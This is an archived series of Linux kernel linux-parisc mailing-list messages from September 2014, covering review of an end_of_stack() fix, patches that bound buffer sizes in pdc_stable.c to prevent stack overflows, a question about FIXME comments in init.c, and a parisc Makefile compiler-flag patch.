	for glpp-linux-parisc@plane.gmane.org; Fri, 19 Sep 2014 13:22:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755731AbaISLWU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Sep 2014 07:22:20 -0400
Original-Received: from mailapp01.imgtec.com ([195.59.15.196]:30934 "EHLO
	mailapp01.imgtec.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750924AbaISLVl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Sep 2014 07:21:41 -0400
Original-Received: from KLMAIL01.kl.imgtec.org (unknown [192.168.5.35])
	by Websense Email Security Gateway with ESMTPS id 03B893CCA3E33;
	Fri, 19 Sep 2014 12:21:36 +0100 (IST)
Original-Received: from LEMAIL01.le.imgtec.org (192.168.152.62) by
 KLMAIL01.kl.imgtec.org (192.168.5.35) with Microsoft SMTP Server (TLS) id
 14.3.195.1; Fri, 19 Sep 2014 12:21:38 +0100
Original-Received: from [192.168.154.101] (192.168.154.101) by LEMAIL01.le.imgtec.org
 (192.168.152.62) with Microsoft SMTP Server (TLS) id 14.3.195.1; Fri, 19 Sep
 2014 12:21:37 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <20140916023736.49db964e@as>
X-Enigmail-Version: 1.6
X-Originating-IP: [192.168.154.101]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6012 gmane.linux.kernel:1790782 gmane.linux.kernel.metag:265
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6012>

Hi Chuck,

On 16/09/14 08:37, Chuck Ebbert wrote:
>  static inline unsigned long *end_of_stack(struct task_struct *p)
>  {
> +#ifdef CONFIG_STACK_GROWSUP
> +	return (unsigned long *)((unsigned long)task_thread_info(p) + THREAD_SIZE) - 1;

Nit: this line should probably be wrapped to 80 columns.

Other than that, I've tested this on metag and can confirm that it fixes
the following BUG which you would otherwise get during boot with Aaron's
patches:

BUG: failure at kernel/sched/core.c:2664/schedule_debug()!
Kernel panic - not syncing: BUG!

Tested-by: James Hogan <james.hogan@imgtec.com> [metag]
Acked-by: James Hogan <james.hogan@imgtec.com>

Aaron: please can you try to get this patch applied before your patch
series.

Thanks
James
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Tomlin <atomlin@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag
Subject: Re: [PATCH] Fix end_of_stack() fn and location of stack canary for
 archs using STACK_GROWSUP
Date: Fri, 19 Sep 2014 14:34:15 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <20140919133415.GG25400@atomlin.usersys.redhat.com>
References: <20140916023736.49db964e@as>
 <541C11C1.2060105@imgtec.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1411134320 20380 80.91.229.3 (19 Sep 2014 13:45:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Sep 2014 13:45:20 +0000 (UTC)
Cc: Chuck Ebbert <cebbert.lkml@gmail.com>,
	Helge Deller <deller@gmx.de>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	linux-metag <linux-metag@vger.kernel.org>,
	James Hogan <james.hogan@imgtec.com>
To: mingo@kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 19 15:45:12 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XUySy-0007Zj-47
	for glpp-linux-parisc@plane.gmane.org; Fri, 19 Sep 2014 15:45:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756878AbaISNgk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Sep 2014 09:36:40 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:64089 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755682AbaISNgj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Sep 2014 09:36:39 -0400
Original-Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s8JDaEr6014717
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
	Fri, 19 Sep 2014 09:36:14 -0400
Original-Received: from atomlin.usersys.redhat.com ([10.33.23.165])
	by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id s8JDa83O005674;
	Fri, 19 Sep 2014 09:36:10 -0400
Content-Disposition: inline
In-Reply-To: <541C11C1.2060105@imgtec.com>
X-PGP-Key: http://pgp.mit.edu/pks/lookup?search=atomlin%40redhat.com
X-PGP-Fingerprint: 7906 84EB FA8A 9638 8D1E  6E9B E2DE 9658 19CC 77D6
User-Agent: Mutt/1.5.22.1 (2013-10-16)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6013 gmane.linux.kernel:1790891 gmane.linux.kernel.metag:266
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6013>

On Fri, Sep 19, 2014 at 12:21:37PM +0100, James Hogan wrote:
> Hi Chuck,
> 
> On 16/09/14 08:37, Chuck Ebbert wrote:
> >  static inline unsigned long *end_of_stack(struct task_struct *p)
> >  {
> > +#ifdef CONFIG_STACK_GROWSUP
> > +	return (unsigned long *)((unsigned long)task_thread_info(p) + THREAD_SIZE) - 1;
> 
> Nit: this line should probably be wrapped to 80 columns.
> 
> Other than that, I've tested this on metag and can confirm that it fixes
> the following BUG which you would otherwise get during boot with Aaron's
> patches:
> 
> BUG: failure at kernel/sched/core.c:2664/schedule_debug()!
> Kernel panic - not syncing: BUG!
> 
> Tested-by: James Hogan <james.hogan@imgtec.com> [metag]
> Acked-by: James Hogan <james.hogan@imgtec.com>

OK.

Acked-by: Aaron Tomlin <atomlin@redhat.com>

> Aaron: please can you try to get this patch applied before your patch
> series.

Ingo,


I hope it's not too late to get this patch in (once the nit has been
addressed) for CONFIG_STACK_GROWSUP?

Regards,

-- 
Aaron Tomlin
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: pdc_stable.c:  Cleaning up unnecessary use of
 memset in conjunction with strncpy
Date: Mon, 22 Sep 2014 20:24:55 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <20140922182455.GA4063@ls3530.box>
References: <1410710532-14429-1-git-send-email-rickard_strandqvist@spectrumdigital.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1411410315 22664 80.91.229.3 (22 Sep 2014 18:25:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Sep 2014 18:25:15 +0000 (UTC)
To: Rickard Strandqvist <rickard_strandqvist@spectrumdigital.se>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 22 20:25:04 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XW8II-00072r-Ij
	for glpp-linux-parisc@plane.gmane.org; Mon, 22 Sep 2014 20:25:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754196AbaIVSZB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Sep 2014 14:25:01 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:61920 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753592AbaIVSZA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Sep 2014 14:25:00 -0400
Original-Received: from ls3530.box ([84.173.27.16]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0Lwarz-1YMhdN1YMh-018Gef; Mon, 22 Sep 2014 20:24:58
 +0200
Content-Disposition: inline
In-Reply-To: <1410710532-14429-1-git-send-email-rickard_strandqvist@spectrumdigital.se>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:EtNLs5bQ+STducjo42He2UVi+wgMKweN/Vmxh7nQGOa2ZvzJllD
 fHEL7L6VTF+nwTrbh1HQNsfHVedZE4ICzfhJQP+m+bNGNAx3HHt0Obf1h277Dn17kSKzbkz
 il7mcu2kHz51aWX17itB8BaTCgB1NQyfZYQcj1AlVgKZQNhKKbB3U6e2dUV8v1NhLvERFsw
 2M+gPQuUm+Cihh5Kim77Q==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6015
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6015>

* Rickard Strandqvist <rickard_strandqvist@spectrumdigital.se>:
> Using memset before strncpy just to ensure a trailing null
> character is an unnecessary double writing of a string

Thanks for the patch Rickard!

I've modified it a little (see below) and added it to my tree.

Thanks,
Helge

> Signed-off-by: Rickard Strandqvist <rickard_strandqvist@spectrumdigital.se>
> ---
>  drivers/parisc/pdc_stable.c |    2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
> index 0f54ab6..76860ad 100644
> --- a/drivers/parisc/pdc_stable.c
> +++ b/drivers/parisc/pdc_stable.c
> @@ -765,8 +765,8 @@ static ssize_t pdcs_auto_write(struct kobject *kobj,
>  		return -EINVAL;
>  
>  	/* We'll use a local copy of buf */
> -	memset(in, 0, count+1);
>  	strncpy(in, buf, count);
> +	in[count] = '\0';
>  
>  	/* Current flags are stored in primary boot path entry */
>  	pathentry = &pdcspath_entry_primary;


parisc: pdc_stable.c: Cleaning up unnecessary use of memset in conjunction with strncpy

Using memset before strncpy just to ensure a trailing null character is
an unnecessary double writing of a string

Patch modified by Helge Deller to additionally reduce stack usage.

Signed-off-by: Rickard Strandqvist <rickard_strandqvist@spectrumdigital.se>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
index 0f54ab6..e4b73c2 100644
--- a/drivers/parisc/pdc_stable.c
+++ b/drivers/parisc/pdc_stable.c
@@ -755,7 +755,7 @@ static ssize_t pdcs_auto_write(struct kobject *kobj,
 {
 	struct pdcspath_entry *pathentry;
 	unsigned char flags;
-	char in[count+1], *temp;
+	char in[8], *temp;
 	char c;
 
 	if (!capable(CAP_SYS_ADMIN))
@@ -765,8 +765,9 @@ static ssize_t pdcs_auto_write(struct kobject *kobj,
 		return -EINVAL;
 
 	/* We'll use a local copy of buf */
-	memset(in, 0, count+1);
+	count = min_t(size_t, count, 7);
 	strncpy(in, buf, count);
+	in[count] = '\0';
 
 	/* Current flags are stored in primary boot path entry */
 	pathentry = &pdcspath_entry_primary;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: pdc_stable.c: Avoid potential stack overflows
Date: Mon, 22 Sep 2014 20:27:23 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <20140922182723.GA1248@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1411410457 24885 80.91.229.3 (22 Sep 2014 18:27:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Sep 2014 18:27:37 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 22 20:27:30 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XW8Kf-0008G1-7E
	for glpp-linux-parisc@plane.gmane.org; Mon, 22 Sep 2014 20:27:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753879AbaIVS12 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Sep 2014 14:27:28 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:53478 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753524AbaIVS12 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Sep 2014 14:27:28 -0400
Original-Received: from p100.box ([84.173.27.16]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0M2cYX-1YONbv2DEz-00sMqj; Mon, 22 Sep 2014 20:27:26
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:l1kR2HjtYsIxU0Ni6KmrzeKytDZNPTiv9b6RTmy/i4ubugLMjbn
 qMlZGlxMrCiRLXHuy0d2w89RjlVtrK8BRkgNklmjTlcdCC4c9r8NsrORCSHHyYTGjAKv/j3
 zdq5CAmtaQ0qEZd21zWuYqAmPzc4aoAoKW13Rd7ADxyLZngDjKFOY7KrJP4e1vSrL75Z5Xh
 poyiROLbrxVaFZFydNifw==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6016
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6016>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
index e4b73c2..3651c38 100644
--- a/drivers/parisc/pdc_stable.c
+++ b/drivers/parisc/pdc_stable.c
@@ -278,7 +278,7 @@ pdcspath_hwpath_write(struct pdcspath_entry *entry, const char *buf, size_t coun
 {
 	struct hardware_path hwpath;
 	unsigned short i;
-	char in[count+1], *temp;
+	char in[64], *temp;
 	struct device *dev;
 	int ret;
 
@@ -286,8 +286,9 @@ pdcspath_hwpath_write(struct pdcspath_entry *entry, const char *buf, size_t coun
 		return -EINVAL;
 
 	/* We'll use a local copy of buf */
-	memset(in, 0, count+1);
+	count = min_t(size_t, count, sizeof(in)-1);
 	strncpy(in, buf, count);
+	in[count] = '\0';
 	
 	/* Let's clean up the target. 0xff is a blank pattern */
 	memset(&hwpath, 0xff, sizeof(hwpath));
@@ -393,14 +394,15 @@ pdcspath_layer_write(struct pdcspath_entry *entry, const char *buf, size_t count
 {
 	unsigned int layers[6]; /* device-specific info (ctlr#, unit#, ...) */
 	unsigned short i;
-	char in[count+1], *temp;
+	char in[64], *temp;
 
 	if (!entry || !buf || !count)
 		return -EINVAL;
 
 	/* We'll use a local copy of buf */
-	memset(in, 0, count+1);
+	count = min_t(size_t, count, sizeof(in)-1);
 	strncpy(in, buf, count);
+	in[count] = '\0';
 	
 	/* Let's clean up the target. 0 is a blank pattern */
 	memset(&layers, 0, sizeof(layers));
@@ -765,7 +767,7 @@ static ssize_t pdcs_auto_write(struct kobject *kobj,
 		return -EINVAL;
 
 	/* We'll use a local copy of buf */
-	count = min_t(size_t, count, 7);
+	count = min_t(size_t, count, sizeof(in)-1);
 	strncpy(in, buf, count);
 	in[count] = '\0';
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: nick <yocto6@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: FIX MES in init.c
Date: Mon, 22 Sep 2014 15:24:25 -0400
Lines: 60
Approved: news@gmane.org
Message-ID: <54207769.2020105@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1411413896 4853 80.91.229.3 (22 Sep 2014 19:24:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Sep 2014 19:24:56 +0000 (UTC)
Cc: deller@gmx.de, akpm@linux-foundation.org, himangi774@gmail.com,
	julia.lawall@lip6.fr, mgorman@suse.de,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: jejb@parisc-linux.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Sep 22 21:24:46 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XW9E3-0003gK-QN
	for glk-linux-kernel-3@plane.gmane.org; Mon, 22 Sep 2014 21:24:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754659AbaIVTYd (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 22 Sep 2014 15:24:33 -0400
Original-Received: from mail-ie0-f194.google.com ([209.85.223.194]:58264 "EHLO
	mail-ie0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754593AbaIVTY2 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 22 Sep 2014 15:24:28 -0400
Original-Received: by mail-ie0-f194.google.com with SMTP id tr6so1464853ieb.5
        for <multiple recipients>; Mon, 22 Sep 2014 12:24:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :content-type:content-transfer-encoding;
        bh=+JReBrKctxYTok/f9+sKULXG29CkPrmfO6zJgXuGwOk=;
        b=c1QM+EXmVSiYg6CbNYnk3MSRJfWCKTGzh1k15h0i1TxcIjbWrL7sqaxZpcUdcUIyAA
         TBjCStExr9SMHFRrpfiHrTAxLgRDaPgmlOBgEucaeXT+AUGVaBYDMuTWhRQohZjc0Q/I
         dF3ZcoC0ty59IrYQv3qi9EGMr7CHkpSuc2mQ4Zd6W91kithX/QDuY5Y8ePcQRIQofzRZ
         6MNGwyZomJCdkqLlOnPry8TxJICItnGLCrey/iQ7X2ZrgCGHVNo4Td/Ccz2ePnPTZc7l
         26xCerKsw98SdsNiRk2kD2B/B/C1XlKAumNJajq3RvsKsZdSkDTpG8OBhpexVhhmiGCw
         ALuw==
X-Received: by 10.50.51.2 with SMTP id g2mr16781280igo.7.1411413868006;
        Mon, 22 Sep 2014 12:24:28 -0700 (PDT)
Original-Received: from [192.168.0.50] (CPE0026f3330aca-CM0026f3330ac6.cpe.net.cable.rogers.com. [99.231.92.7])
        by mx.google.com with ESMTPSA id an1sm9498599igc.8.2014.09.22.12.24.25
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 22 Sep 2014 12:24:26 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.1.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1792259 gmane.linux.ports.parisc:6017
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1792259>

Greetings James and Other Maintainers of the Parisc Architecture,
I am wondering about two fix mes in init.c and how to fix them
for being const declared into actual variables. I will paste the
parts of the file for your convenience below.
Thanks,
Nick 
---------------------------------------------------------------------------------
static void __init gateway_init(void)
{
	unsigned long linux_gateway_page_addr;
	/* FIXME: This is 'const' in order to trick the compiler
	   into not treating it as DP-relative data. */
	extern void * const linux_gateway_page;

	linux_gateway_page_addr = LINUX_GATEWAY_ADDR & PAGE_MASK;

	/*
	 * Setup Linux Gateway page.
	 *
	 * The Linux gateway page will reside in kernel space (on virtual
	 * page 0), so it doesn't need to be aliased into user space.
	 */

	map_pages(linux_gateway_page_addr, __pa(&linux_gateway_page),
		  PAGE_SIZE, PAGE_GATEWAY, 1);
}

#ifdef CONFIG_HPUX
void
map_hpux_gateway_page(struct task_struct *tsk, struct mm_struct *mm)
{
	pgd_t *pg_dir;
	pmd_t *pmd;
	pte_t *pg_table;
	unsigned long start_pmd;
	unsigned long start_pte;
	unsigned long address;
	unsigned long hpux_gw_page_addr;
	/* FIXME: This is 'const' in order to trick the compiler
	   into not treating it as DP-relative data. */
	extern void * const hpux_gateway_page;

	hpux_gw_page_addr = HPUX_GATEWAY_ADDR & PAGE_MASK;

	/*
	 * Setup HP-UX Gateway page.
	 *
	 * The HP-UX gateway page resides in the user address space,
	 * so it needs to be aliased into each process.
	 */

	pg_dir = pgd_offset(mm,hpux_gw_page_addr);

#if PTRS_PER_PMD == 1
	start_pmd = 0;
#else
	start_pmd = ((hpux_gw_page_addr >> PMD_SHIFT) & (PTRS_PER_PMD - 1));
#endif
	start_pte = ((hpux_gw_page_addr >> PAGE_SHIFT) & (PTRS_PER_PTE - 1));
---------------------------------------------------------------------------------------

From - Thu Nov 08 21:10:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Only use -mfast-indirect-calls option for 32-bit kernel builds
Date: Mon, 22 Sep 2014 20:54:50 -0400
Lines: 67
Approved: news@gmane.org
Message-ID: <BLU437-SMTP4664A3177B10B59560E2697B00@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-34--665205749"
X-Trace: ger.gmane.org 1411433729 10556 80.91.229.3 (23 Sep 2014 00:55:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Sep 2014 00:55:29 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 23 02:55:21 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XWENw-0005lO-ED
	for glpp-linux-parisc@plane.gmane.org; Tue, 23 Sep 2014 02:55:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755537AbaIWAzM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Sep 2014 20:55:12 -0400
Original-Received: from blu004-omc4s21.hotmail.com ([65.55.111.160]:63769 "EHLO
	BLU004-OMC4S21.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755514AbaIWAzJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Sep 2014 20:55:09 -0400
Original-Received: from BLU437-SMTP4 ([65.55.111.135]) by BLU004-OMC4S21.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22724);
	 Mon, 22 Sep 2014 17:55:08 -0700
X-TMN: [M4OjqUXziuwT/ppXf6zLpCsQy2Smt3LQ]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.16] ([174.92.95.53]) by smtphm.sympatico.ca over TLS secured channel with Microsoft SMTPSVC(8.0.9200.16384);
	 Mon, 22 Sep 2014 17:55:07 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 23 Sep 2014 00:55:07.0381 (UTC) FILETIME=[04C4CA50:01CFD6C9]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6018
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6018>

--Apple-Mail-34--665205749
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

In spite of what the GCC manual says, the -mfast-indirect-calls has  
never been supported in the 64-bit
parisc compiler.  Indirect calls have always been done using function  
descriptors irrespective of the
-mfast-indirect-calls option.

Recently, it was noticed that a function descriptor was always  
requested when the -mfast-indirect-calls option
was specified.  This caused problems when the option was used in  
application code and doesn't make any
sense because the whole point of the option is to avoid using a  
function descriptor for indirect calls.

Fixing this broke 64-bit kernel builds.

I will fix GCC but for now we need the attached change.  This results  
is the same kernel code as before.

Signed-of-by: John David Anglin <dave.anglin@bell.net>
---


--Apple-Mail-34--665205749
Content-Disposition: attachment; filename="fast-indirect.d.txt"
Content-Type: text/plain; x-unix-mode=0644; name="fast-indirect.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 7187664..5db8882 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -48,7 +48,12 @@ cflags-y	:= -pipe
 
 # These flags should be implied by an hppa-linux configuration, but they
 # are not in gcc 3.2.
-cflags-y	+= -mno-space-regs -mfast-indirect-calls
+cflags-y	+= -mno-space-regs
+
+# -mfast-indirect-calls is only relevant for 32-bit kernels.
+ifndef CONFIG_64BIT
+cflags-y	+= -mfast-indirect-calls
+endif
 
 # Currently we save and restore fpregs on all kernel entry/interruption paths.
 # If that gets optimized, we might need to disable the use of fpregs in the
 

--Apple-Mail-34--665205749
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-34--665205749--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] atomic_read: Use ACCESS_ONCE() instead of cast to
 volatile
Date: Tue, 23 Sep 2014 17:15:09 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <20140923151509.GI3312@worktop.programming.kicks-ass.net>
References: <1411482607-20948-1-git-send-email-bobby.prani@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
